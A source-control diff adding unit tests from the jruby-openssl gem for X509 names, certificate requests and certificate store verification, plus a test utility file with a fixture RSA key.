+    "1.2.840.113549.1.9.1", "emailAddress", "emailAddress")
+  OpenSSL::ASN1::ObjectId.register(
+    "2.5.4.5", "serialNumber", "serialNumber")
+
+  def setup
+    @obj_type_tmpl = Hash.new(OpenSSL::ASN1::PRINTABLESTRING)
+    @obj_type_tmpl.update(OpenSSL::X509::Name::OBJECT_TYPE_TEMPLATE)
+  end
+
+  def teardown
+  end
+
+  def test_s_new
+    dn = [ ["C", "JP"], ["O", "example"], ["CN", "www.example.jp"] ]
+    name = OpenSSL::X509::Name.new(dn)
+    ary = name.to_a
+    assert_equal("/C=JP/O=example/CN=www.example.jp", name.to_s)
+    assert_equal("C", ary[0][0])
+    assert_equal("O", ary[1][0])
+    assert_equal("CN", ary[2][0])
+    assert_equal("JP", ary[0][1])
+    assert_equal("example", ary[1][1])
+    assert_equal("www.example.jp", ary[2][1])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[2][2])
+
+    dn = [
+      ["countryName", "JP"],
+      ["organizationName", "example"],
+      ["commonName", "www.example.jp"]
+    ]
+    name = OpenSSL::X509::Name.new(dn)
+    ary = name.to_a
+    assert_equal("/C=JP/O=example/CN=www.example.jp", name.to_s)
+    assert_equal("C", ary[0][0])
+    assert_equal("O", ary[1][0])
+    assert_equal("CN", ary[2][0])
+    assert_equal("JP", ary[0][1])
+    assert_equal("example", ary[1][1])
+    assert_equal("www.example.jp", ary[2][1])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[2][2])
+
+    name = OpenSSL::X509::Name.new(dn, @obj_type_tmpl)
+    ary = name.to_a
+    assert_equal("/C=JP/O=example/CN=www.example.jp", name.to_s)
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[2][2])
+
+    dn = [
+      ["countryName", "JP", OpenSSL::ASN1::PRINTABLESTRING],
+      ["organizationName", "example", OpenSSL::ASN1::PRINTABLESTRING],
+      ["commonName", "www.example.jp", OpenSSL::ASN1::PRINTABLESTRING]
+    ]
+    name = OpenSSL::X509::Name.new(dn)
+    ary = name.to_a
+    assert_equal("/C=JP/O=example/CN=www.example.jp", name.to_s)
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[2][2])
+
+    dn = [
+      ["DC", "org"],
+      ["DC", "ruby-lang"],
+      ["CN", "GOTOU Yuuzou"],
+      ["emailAddress", "gotoyuzo at ruby-lang.org"],
+      ["serialNumber", "123"],
+    ]
+    name = OpenSSL::X509::Name.new(dn)
+    ary = name.to_a
+    assert_equal("/DC=org/DC=ruby-lang/CN=GOTOU Yuuzou/emailAddress=gotoyuzo at ruby-lang.org/serialNumber=123", name.to_s)
+    assert_equal("DC", ary[0][0])
+    assert_equal("DC", ary[1][0])
+    assert_equal("CN", ary[2][0])
+    assert_equal("emailAddress", ary[3][0])
+    assert_equal("serialNumber", ary[4][0])
+    assert_equal("org", ary[0][1])
+    assert_equal("ruby-lang", ary[1][1])
+    assert_equal("GOTOU Yuuzou", ary[2][1])
+    assert_equal("gotoyuzo at ruby-lang.org", ary[3][1])
+    assert_equal("123", ary[4][1])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[2][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[3][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[4][2])
+
+    name_from_der = OpenSSL::X509::Name.new(name.to_der)
+    assert_equal(name_from_der.to_s, name.to_s)
+    assert_equal(name_from_der.to_a, name.to_a)
+    assert_equal(name_from_der.to_der, name.to_der)
+  end
+
+  def test_s_parse
+    dn = "/DC=org/DC=ruby-lang/CN=www.ruby-lang.org"
+    name = OpenSSL::X509::Name.parse(dn)
+    assert_equal(dn, name.to_s)
+    ary = name.to_a
+    assert_equal("DC", ary[0][0])
+    assert_equal("DC", ary[1][0])
+    assert_equal("CN", ary[2][0])
+    assert_equal("org", ary[0][1])
+    assert_equal("ruby-lang", ary[1][1])
+    assert_equal("www.ruby-lang.org", ary[2][1])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[2][2])
+
+    dn2 = "DC=org, DC=ruby-lang, CN=www.ruby-lang.org"
+    name = OpenSSL::X509::Name.parse(dn)
+    ary = name.to_a
+    assert_equal(dn, name.to_s)
+    assert_equal("org", ary[0][1])
+    assert_equal("ruby-lang", ary[1][1])
+    assert_equal("www.ruby-lang.org", ary[2][1])
+
+    name = OpenSSL::X509::Name.parse(dn, @obj_type_tmpl)
+    ary = name.to_a
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[2][2])
+  end
+
+  def test_s_parse_rfc2253
+    scanner = OpenSSL::X509::Name::RFC2253DN.method(:scan)
+    assert_equal([["C", "JP"]], scanner.call("C=JP"))
+    assert_equal([
+        ["DC", "org"],
+        ["DC", "ruby-lang"],
+        ["CN", "GOTOU Yuuzou"],
+        ["emailAddress", "gotoyuzo at ruby-lang.org"],
+      ],
+      scanner.call(
+        "emailAddress=gotoyuzo at ruby-lang.org,CN=GOTOU Yuuzou,"+
+        "DC=ruby-lang,DC=org")
+    )
+
+    u8 = OpenSSL::ASN1::UTF8STRING
+    assert_equal([
+        ["DC", "org"],
+        ["DC", "ruby-lang"],
+        ["O", ",=+<>#;"],
+        ["O", ",=+<>#;"],
+        ["OU", ""],
+        ["OU", ""],
+        ["L", "aaa=\"bbb, ccc\""],
+        ["L", "aaa=\"bbb, ccc\""],
+        ["CN", "\345\276\214\350\227\244\350\243\225\350\224\265"],
+        ["CN", "\345\276\214\350\227\244\350\243\225\350\224\265"],
+        ["CN", "\345\276\214\350\227\244\350\243\225\350\224\265"],
+        ["CN", "\345\276\214\350\227\244\350\243\225\350\224\265", u8],
+        ["2.5.4.3", "GOTOU, Yuuzou"],
+        ["2.5.4.3", "GOTOU, Yuuzou"],
+        ["2.5.4.3", "GOTOU, Yuuzou"],
+        ["2.5.4.3", "GOTOU, Yuuzou"],
+        ["CN", "GOTOU \"gotoyuzo\" Yuuzou"],
+        ["CN", "GOTOU \"gotoyuzo\" Yuuzou"],
+        ["1.2.840.113549.1.9.1", "gotoyuzo at ruby-lang.org"],
+        ["emailAddress", "gotoyuzo at ruby-lang.org"],
+      ],
+      scanner.call(
+        "emailAddress=gotoyuzo at ruby-lang.org," +
+        "1.2.840.113549.1.9.1=gotoyuzo at ruby-lang.org," +
+        'CN=GOTOU \"gotoyuzo\" Yuuzou,' +
+        'CN="GOTOU \"gotoyuzo\" Yuuzou",' +
+        '2.5.4.3=GOTOU\,\20Yuuzou,' +
+        '2.5.4.3=GOTOU\, Yuuzou,' +
+        '2.5.4.3="GOTOU, Yuuzou",' +
+        '2.5.4.3="GOTOU\, Yuuzou",' +
+        "CN=#0C0CE5BE8CE897A4E8A395E894B5," +
+        'CN=\E5\BE\8C\E8\97\A4\E8\A3\95\E8\94\B5,' +
+        "CN=\"\xE5\xBE\x8C\xE8\x97\xA4\xE8\xA3\x95\xE8\x94\xB5\"," +
+        "CN=\xE5\xBE\x8C\xE8\x97\xA4\xE8\xA3\x95\xE8\x94\xB5," +
+        'L=aaa\=\"bbb\, ccc\",' +
+        'L="aaa=\"bbb, ccc\"",' +
+        'OU=,' +
+        'OU="",' +
+        'O=\,\=\+\<\>\#\;,' +
+        'O=",=+<>#;",' +
+        "DC=ruby-lang," +
+        "DC=org")
+    )
+
+    [
+      "DC=org+DC=jp",
+      "DC=org,DC=ruby-lang+DC=rubyist,DC=www"
+    ].each{|dn|
+      ex = scanner.call(dn) rescue $!
+      dn_r = Regexp.escape(dn)
+      assert_match(/^multi-valued RDN is not supported: #{dn_r}/, ex.message)
+    }
+
+    [
+      ["DC=org,DC=exapmle,CN", "CN"],
+      ["DC=org,DC=example,", ""],
+      ["DC=org,DC=exapmle,CN=www.example.org;", "CN=www.example.org;"],
+      ["DC=org,DC=exapmle,CN=#www.example.org", "CN=#www.example.org"],
+      ["DC=org,DC=exapmle,CN=#777777.example.org", "CN=#777777.example.org"],
+      ["DC=org,DC=exapmle,CN=\"www.example\".org", "CN=\"www.example\".org"],
+      ["DC=org,DC=exapmle,CN=www.\"example.org\"", "CN=www.\"example.org\""],
+      ["DC=org,DC=exapmle,CN=www.\"example\".org", "CN=www.\"example\".org"],
+    ].each{|dn, msg|
+      ex = scanner.call(dn) rescue $!
+      assert_match(/^malformed RDN: .*=>#{Regexp.escape(msg)}/, ex.message)
+    }
+
+    dn = "CN=www.ruby-lang.org,DC=ruby-lang,DC=org"
+    name = OpenSSL::X509::Name.parse_rfc2253(dn)
+    assert_equal(dn, name.to_s(OpenSSL::X509::Name::RFC2253))
+    ary = name.to_a
+    assert_equal("DC", ary[0][0])
+    assert_equal("DC", ary[1][0])
+    assert_equal("CN", ary[2][0])
+    assert_equal("org", ary[0][1])
+    assert_equal("ruby-lang", ary[1][1])
+    assert_equal("www.ruby-lang.org", ary[2][1])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[2][2])
+  end
+
+  def test_add_entry
+    dn = [
+      ["DC", "org"],
+      ["DC", "ruby-lang"],
+      ["CN", "GOTOU Yuuzou"],
+      ["emailAddress", "gotoyuzo at ruby-lang.org"],
+      ["serialNumber", "123"],
+    ]
+    name = OpenSSL::X509::Name.new
+    dn.each{|attr| name.add_entry(*attr) }
+    ary = name.to_a
+    assert_equal("/DC=org/DC=ruby-lang/CN=GOTOU Yuuzou/emailAddress=gotoyuzo at ruby-lang.org/serialNumber=123", name.to_s)
+    assert_equal("DC", ary[0][0])
+    assert_equal("DC", ary[1][0])
+    assert_equal("CN", ary[2][0])
+    assert_equal("emailAddress", ary[3][0])
+    assert_equal("serialNumber", ary[4][0])
+    assert_equal("org", ary[0][1])
+    assert_equal("ruby-lang", ary[1][1])
+    assert_equal("GOTOU Yuuzou", ary[2][1])
+    assert_equal("gotoyuzo at ruby-lang.org", ary[3][1])
+    assert_equal("123", ary[4][1])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[0][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[1][2])
+    assert_equal(OpenSSL::ASN1::UTF8STRING, ary[2][2])
+    assert_equal(OpenSSL::ASN1::IA5STRING, ary[3][2])
+    assert_equal(OpenSSL::ASN1::PRINTABLESTRING, ary[4][2])
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509req.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509req.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509req.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,140 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestX509Request < Test::Unit::TestCase
+  def setup
+    @rsa1024 = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    @rsa2048 = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    @dsa256  = OpenSSL::TestUtils::TEST_KEY_DSA256
+    @dsa512  = OpenSSL::TestUtils::TEST_KEY_DSA512
+    @dn = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=GOTOU Yuuzou")
+  end
+
+  def issue_csr(ver, dn, key, digest)
+    req = OpenSSL::X509::Request.new
+    req.version = ver
+    req.subject = dn
+    req.public_key = key.public_key
+    req.sign(key, digest)
+    req
+  end
+
+  def test_public_key
+    req = issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    assert_equal(@rsa1024.public_key.to_der, req.public_key.to_der)
+    req = OpenSSL::X509::Request.new(req.to_der)
+    assert_equal(@rsa1024.public_key.to_der, req.public_key.to_der)
+
+    req = issue_csr(0, @dn, @dsa512, OpenSSL::Digest::DSS1.new)
+    assert_equal(@dsa512.public_key.to_der, req.public_key.to_der)
+    req = OpenSSL::X509::Request.new(req.to_der)
+    assert_equal(@dsa512.public_key.to_der, req.public_key.to_der)
+  end
+
+  def test_version
+    req = issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    assert_equal(0, req.version)
+    req = OpenSSL::X509::Request.new(req.to_der)
+    assert_equal(0, req.version)
+
+    req = issue_csr(1, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    assert_equal(1, req.version)
+    req = OpenSSL::X509::Request.new(req.to_der)
+    assert_equal(1, req.version)
+  end
+
+  def test_subject
+    req = issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    assert_equal(@dn.to_der, req.subject.to_der)
+    req = OpenSSL::X509::Request.new(req.to_der)
+    assert_equal(@dn.to_der, req.subject.to_der)
+  end
+
+  def create_ext_req(exts)
+    ef = OpenSSL::X509::ExtensionFactory.new
+    exts = exts.collect{|e| ef.create_extension(*e) }
+    return OpenSSL::ASN1::Set([OpenSSL::ASN1::Sequence(exts)])
+  end
+
+  def get_ext_req(ext_req_value)
+    set = OpenSSL::ASN1.decode(ext_req_value)
+    seq = set.value[0]
+    seq.value.collect{|asn1ext|
+      OpenSSL::X509::Extension.new(asn1ext).to_a
+    }
+  end
+
+  def test_attr
+    exts = [
+      ["keyUsage", "Digital Signature, Key Encipherment", true],
+      ["subjectAltName", "email:gotoyuzo at ruby-lang.org", false],
+    ]
+    attrval = create_ext_req(exts)
+    attrs = [
+      OpenSSL::X509::Attribute.new("extReq", attrval),
+      OpenSSL::X509::Attribute.new("msExtReq", attrval),
+    ]
+
+    req0 = issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    attrs.each{|attr| req0.add_attribute(attr) }
+    req1 = issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    req1.attributes = attrs
+    assert_equal(req0.to_der, req1.to_der)
+
+    attrs = req0.attributes
+    assert_equal(2, attrs.size)
+    assert_equal("extReq", attrs[0].oid)
+    assert_equal("msExtReq", attrs[1].oid)
+    assert_equal(exts, get_ext_req(attrs[0].value))
+    assert_equal(exts, get_ext_req(attrs[1].value))
+
+    req = OpenSSL::X509::Request.new(req0.to_der)
+    attrs = req.attributes
+    assert_equal(2, attrs.size)
+    assert_equal("extReq", attrs[0].oid)
+    assert_equal("msExtReq", attrs[1].oid)
+    assert_equal(exts, get_ext_req(attrs[0].value))
+    assert_equal(exts, get_ext_req(attrs[1].value))
+  end
+
+  def test_sign_and_verify
+    req = issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::SHA1.new)
+    assert_equal(true,  req.verify(@rsa1024))
+    assert_equal(false, req.verify(@rsa2048))
+    assert_equal(false, req.verify(@dsa256))
+    assert_equal(false, req.verify(@dsa512))
+    req.version = 1
+    assert_equal(false, req.verify(@rsa1024))
+
+    req = issue_csr(0, @dn, @rsa2048, OpenSSL::Digest::MD5.new)
+    assert_equal(false, req.verify(@rsa1024))
+    assert_equal(true,  req.verify(@rsa2048))
+    assert_equal(false, req.verify(@dsa256))
+    assert_equal(false, req.verify(@dsa512))
+    req.subject = OpenSSL::X509::Name.parse("/C=JP/CN=FooBar")
+    assert_equal(false, req.verify(@rsa2048))
+
+    req = issue_csr(0, @dn, @dsa512, OpenSSL::Digest::DSS1.new)
+    assert_equal(false, req.verify(@rsa1024))
+    assert_equal(false, req.verify(@rsa2048))
+    assert_equal(false, req.verify(@dsa256))
+    assert_equal(true,  req.verify(@dsa512))
+    req.public_key = @rsa1024.public_key
+    assert_equal(false, req.verify(@dsa512))
+
+    assert_raise(OpenSSL::X509::RequestError){
+      issue_csr(0, @dn, @rsa1024, OpenSSL::Digest::DSS1.new) }
+    assert_raise(OpenSSL::X509::RequestError){
+      issue_csr(0, @dn, @dsa512, OpenSSL::Digest::SHA1.new) }
+    assert_raise(OpenSSL::X509::RequestError){
+      issue_csr(0, @dn, @dsa512, OpenSSL::Digest::MD5.new) }
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/test_x509store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,217 @@
+begin
+  require "openssl"
+  require File.join(File.dirname(__FILE__), "utils.rb")
+rescue LoadError
+end
+require "test/unit"
+
+if defined?(OpenSSL)
+
+class OpenSSL::TestX509Store < Test::Unit::TestCase
+  def setup
+    @rsa1024 = OpenSSL::TestUtils::TEST_KEY_RSA1024
+    @rsa2048 = OpenSSL::TestUtils::TEST_KEY_RSA2048
+    @dsa256  = OpenSSL::TestUtils::TEST_KEY_DSA256
+    @dsa512  = OpenSSL::TestUtils::TEST_KEY_DSA512
+    @ca1 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=CA1")
+    @ca2 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=CA2")
+    @ee1 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE1")
+    @ee2 = OpenSSL::X509::Name.parse("/DC=org/DC=ruby-lang/CN=EE2")
+  end
+
+  def teardown
+  end
+
+  def issue_cert(*args)
+    OpenSSL::TestUtils.issue_cert(*args)
+  end
+
+  def issue_crl(*args)
+    OpenSSL::TestUtils.issue_crl(*args)
+  end
+
+  def test_verify
+    now = Time.at(Time.now.to_i)
+    ca_exts = [
+      ["basicConstraints","CA:TRUE",true],
+      ["keyUsage","cRLSign,keyCertSign",true],
+    ]
+    ee_exts = [
+      ["keyUsage","keyEncipherment,digitalSignature",true],
+    ]
+    ca1_cert = issue_cert(@ca1, @rsa2048, 1, now, now+3600, ca_exts,
+                          nil, nil, OpenSSL::Digest::SHA1.new)
+    ca2_cert = issue_cert(@ca2, @rsa1024, 2, now, now+1800, ca_exts,
+                          ca1_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    ee1_cert = issue_cert(@ee1, @dsa256, 10, now, now+1800, ee_exts,
+                          ca2_cert, @rsa1024, OpenSSL::Digest::SHA1.new)
+    ee2_cert = issue_cert(@ee2, @dsa512, 20, now, now+1800, ee_exts,
+                          ca2_cert, @rsa1024, OpenSSL::Digest::SHA1.new)
+    ee3_cert = issue_cert(@ee2, @dsa512, 30, now-100, now-1, ee_exts,
+                          ca2_cert, @rsa1024, OpenSSL::Digest::SHA1.new)
+    ee4_cert = issue_cert(@ee2, @dsa512, 40, now+1000, now+2000, ee_exts,
+                          ca2_cert, @rsa1024, OpenSSL::Digest::SHA1.new)
+
+    revoke_info = []
+    crl1   = issue_crl(revoke_info, 1, now, now+1800, [],
+                       ca1_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    revoke_info = [ [2, now, 1], ]
+    crl1_2 = issue_crl(revoke_info, 2, now, now+1800, [],
+                       ca1_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    revoke_info = [ [20, now, 1], ]
+    crl2   = issue_crl(revoke_info, 1, now, now+1800, [],
+                       ca2_cert, @rsa1024, OpenSSL::Digest::SHA1.new)
+    revoke_info = []
+    crl2_2 = issue_crl(revoke_info, 2, now-100, now-1, [],
+                       ca2_cert, @rsa1024, OpenSSL::Digest::SHA1.new)
+
+    assert(true, ca1_cert.verify(ca1_cert.public_key))   # self signed
+    assert(true, ca2_cert.verify(ca1_cert.public_key))   # issued by ca1
+    assert(true, ee1_cert.verify(ca2_cert.public_key))   # issued by ca2
+    assert(true, ee2_cert.verify(ca2_cert.public_key))   # issued by ca2
+    assert(true, ee3_cert.verify(ca2_cert.public_key))   # issued by ca2
+    assert(true, crl1.verify(ca1_cert.public_key))       # issued by ca1
+    assert(true, crl1_2.verify(ca1_cert.public_key))     # issued by ca1
+    assert(true, crl2.verify(ca2_cert.public_key))       # issued by ca2
+    assert(true, crl2_2.verify(ca2_cert.public_key))     # issued by ca2
+
+    store = OpenSSL::X509::Store.new
+    assert_equal(false, store.verify(ca1_cert))
+    assert_not_equal(OpenSSL::X509::V_OK, store.error)
+
+    assert_equal(false, store.verify(ca2_cert))
+    assert_not_equal(OpenSSL::X509::V_OK, store.error)
+
+    store.add_cert(ca1_cert)
+    assert_equal(true, store.verify(ca2_cert))
+    assert_equal(OpenSSL::X509::V_OK, store.error)
+    assert_equal("ok", store.error_string)
+    chain = store.chain
+    assert_equal(2, chain.size)
+    assert_equal(@ca2.to_der, chain[0].subject.to_der)
+    assert_equal(@ca1.to_der, chain[1].subject.to_der)
+
+    store.purpose = OpenSSL::X509::PURPOSE_SSL_CLIENT
+    assert_equal(false, store.verify(ca2_cert))
+    assert_not_equal(OpenSSL::X509::V_OK, store.error)
+
+    store.purpose = OpenSSL::X509::PURPOSE_CRL_SIGN
+    assert_equal(true, store.verify(ca2_cert))
+    assert_equal(OpenSSL::X509::V_OK, store.error)
+    store.add_cert(ca2_cert)
+    store.purpose = OpenSSL::X509::PURPOSE_SSL_CLIENT
+    assert_equal(true, store.verify(ee1_cert))
+    assert_equal(true, store.verify(ee2_cert))
+    assert_equal(OpenSSL::X509::V_OK, store.error)
+    assert_equal("ok", store.error_string)
+    chain = store.chain
+    assert_equal(3, chain.size)
+    assert_equal(@ee2.to_der, chain[0].subject.to_der)
+    assert_equal(@ca2.to_der, chain[1].subject.to_der)
+    assert_equal(@ca1.to_der, chain[2].subject.to_der)
+    assert_equal(false, store.verify(ee3_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_HAS_EXPIRED, store.error)
+    assert_match(/expire/i, store.error_string)
+    assert_equal(false, store.verify(ee4_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_NOT_YET_VALID, store.error)
+    assert_match(/not yet valid/i, store.error_string)
+
+    store = OpenSSL::X509::Store.new
+    store.add_cert(ca1_cert)
+    store.add_cert(ca2_cert)
+    store.time = now + 1500
+    assert_equal(true, store.verify(ca1_cert))
+    assert_equal(true, store.verify(ca2_cert))
+    assert_equal(true, store.verify(ee4_cert))
+    store.time = now + 1900
+    assert_equal(true, store.verify(ca1_cert))
+    assert_equal(false, store.verify(ca2_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_HAS_EXPIRED, store.error)
+    assert_equal(false, store.verify(ee4_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_HAS_EXPIRED, store.error)
+    store.time = now + 4000
+    assert_equal(false, store.verify(ee1_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_HAS_EXPIRED, store.error)
+    assert_equal(false, store.verify(ee4_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_HAS_EXPIRED, store.error)
+
+    # the underlying X509 struct caches the result of the last
+    # verification for signature and not-before. so the following code
+    # rebuilds new objects to avoid site effect.
+    store.time = Time.now - 4000
+    assert_equal(false, store.verify(OpenSSL::X509::Certificate.new(ca2_cert)))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_NOT_YET_VALID, store.error)
+    assert_equal(false, store.verify(OpenSSL::X509::Certificate.new(ee1_cert)))
+    assert_equal(OpenSSL::X509::V_ERR_CERT_NOT_YET_VALID, store.error)
+
+    return unless defined?(OpenSSL::X509::V_FLAG_CRL_CHECK)
+
+    store = OpenSSL::X509::Store.new
+    store.purpose = OpenSSL::X509::PURPOSE_ANY
+    store.flags = OpenSSL::X509::V_FLAG_CRL_CHECK
+    store.add_cert(ca1_cert)
+    store.add_crl(crl1)   # revoke no cert
+    store.add_crl(crl2)   # revoke ee2_cert
+    assert_equal(true,  store.verify(ca1_cert))
+    assert_equal(true,  store.verify(ca2_cert))
+    assert_equal(true,  store.verify(ee1_cert, [ca2_cert]))
+    assert_equal(false, store.verify(ee2_cert, [ca2_cert]))
+
+    store = OpenSSL::X509::Store.new
+    store.purpose = OpenSSL::X509::PURPOSE_ANY
+    store.flags = OpenSSL::X509::V_FLAG_CRL_CHECK
+    store.add_cert(ca1_cert)
+    store.add_crl(crl1_2) # revoke ca2_cert
+    store.add_crl(crl2)   # revoke ee2_cert
+    assert_equal(true,  store.verify(ca1_cert))
+    assert_equal(false, store.verify(ca2_cert))
+    assert_equal(true,  store.verify(ee1_cert, [ca2_cert]),
+      "This test is expected to be success with OpenSSL 0.9.7c or later.")
+    assert_equal(false, store.verify(ee2_cert, [ca2_cert]))
+
+    store.flags =
+      OpenSSL::X509::V_FLAG_CRL_CHECK|OpenSSL::X509::V_FLAG_CRL_CHECK_ALL
+    assert_equal(true,  store.verify(ca1_cert))
+    assert_equal(false, store.verify(ca2_cert))
+    assert_equal(false, store.verify(ee1_cert, [ca2_cert]))
+    assert_equal(false, store.verify(ee2_cert, [ca2_cert]))
+
+    store = OpenSSL::X509::Store.new
+    store.purpose = OpenSSL::X509::PURPOSE_ANY
+    store.flags =
+      OpenSSL::X509::V_FLAG_CRL_CHECK|OpenSSL::X509::V_FLAG_CRL_CHECK_ALL
+    store.add_cert(ca1_cert)
+    store.add_cert(ca2_cert)
+    store.add_crl(crl1)
+    store.add_crl(crl2_2) # issued by ca2 but expired.
+    assert_equal(true, store.verify(ca1_cert))
+    assert_equal(true, store.verify(ca2_cert))
+    assert_equal(false, store.verify(ee1_cert))
+    assert_equal(OpenSSL::X509::V_ERR_CRL_HAS_EXPIRED, store.error)
+    assert_equal(false, store.verify(ee2_cert))
+  end
+
+  def test_set_errors
+    now = Time.now
+    ca1_cert = issue_cert(@ca1, @rsa2048, 1, now, now+3600, [],
+                          nil, nil, OpenSSL::Digest::SHA1.new)
+    store = OpenSSL::X509::Store.new
+    store.add_cert(ca1_cert)
+    assert_raises(OpenSSL::X509::StoreError){
+      store.add_cert(ca1_cert)  # add same certificate twice
+    }
+
+    revoke_info = []
+    crl1 = issue_crl(revoke_info, 1, now, now+1800, [],
+                     ca1_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    revoke_info = [ [2, now, 1], ]
+    crl2 = issue_crl(revoke_info, 2, now+1800, now+3600, [],
+                     ca1_cert, @rsa2048, OpenSSL::Digest::SHA1.new)
+    store.add_crl(crl1)
+    assert_raises(OpenSSL::X509::StoreError){
+      store.add_crl(crl2) # add CRL issued by same CA twice.
+    }
+  end
+end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/utils.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/utils.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl/utils.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,135 @@
+require "openssl"
+require "test/unit"
+
+module OpenSSL::TestUtils
+  TEST_KEY_RSA1024 = OpenSSL::PKey::RSA.new <<-_end_of_pem_
+-----BEGIN RSA PRIVATE KEY-----
+MIICXgIBAAKBgQDLwsSw1ECnPtT+PkOgHhcGA71nwC2/nL85VBGnRqDxOqjVh7Cx
+aKPERYHsk4BPCkE3brtThPWc9kjHEQQ7uf9Y1rbCz0layNqHyywQEVLFmp1cpIt/
+Q3geLv8ZD9pihowKJDyMDiN6ArYUmZczvW4976MU3+l54E6lF/JfFEU5hwIDAQAB
+AoGBAKSl/MQarye1yOysqX6P8fDFQt68VvtXkNmlSiKOGuzyho0M+UVSFcs6k1L0
+maDE25AMZUiGzuWHyaU55d7RXDgeskDMakD1v6ZejYtxJkSXbETOTLDwUWTn618T
+gnb17tU1jktUtU67xK/08i/XodlgnQhs6VoHTuCh3Hu77O6RAkEA7+gxqBuZR572
+74/akiW/SuXm0SXPEviyO1MuSRwtI87B02D0qgV8D1UHRm4AhMnJ8MCs1809kMQE
+JiQUCrp9mQJBANlt2ngBO14us6NnhuAseFDTBzCHXwUUu1YKHpMMmxpnGqaldGgX
+sOZB3lgJsT9VlGf3YGYdkLTNVbogQKlKpB8CQQDiSwkb4vyQfDe8/NpU5Not0fII
+8jsDUCb+opWUTMmfbxWRR3FBNu8wnym/m19N4fFj8LqYzHX4KY0oVPu6qvJxAkEA
+wa5snNekFcqONLIE4G5cosrIrb74sqL8GbGb+KuTAprzj5z1K8Bm0UW9lTjVDjDi
+qRYgZfZSL+x1P/54+xTFSwJAY1FxA/N3QPCXCjPh5YqFxAMQs2VVYTfg+t0MEcJD
+dPMQD5JX6g5HKnHFg2mZtoXQrWmJSn7p8GJK8yNTopEErA==
+-----END RSA PRIVATE KEY-----
+  _end_of_pem_
+
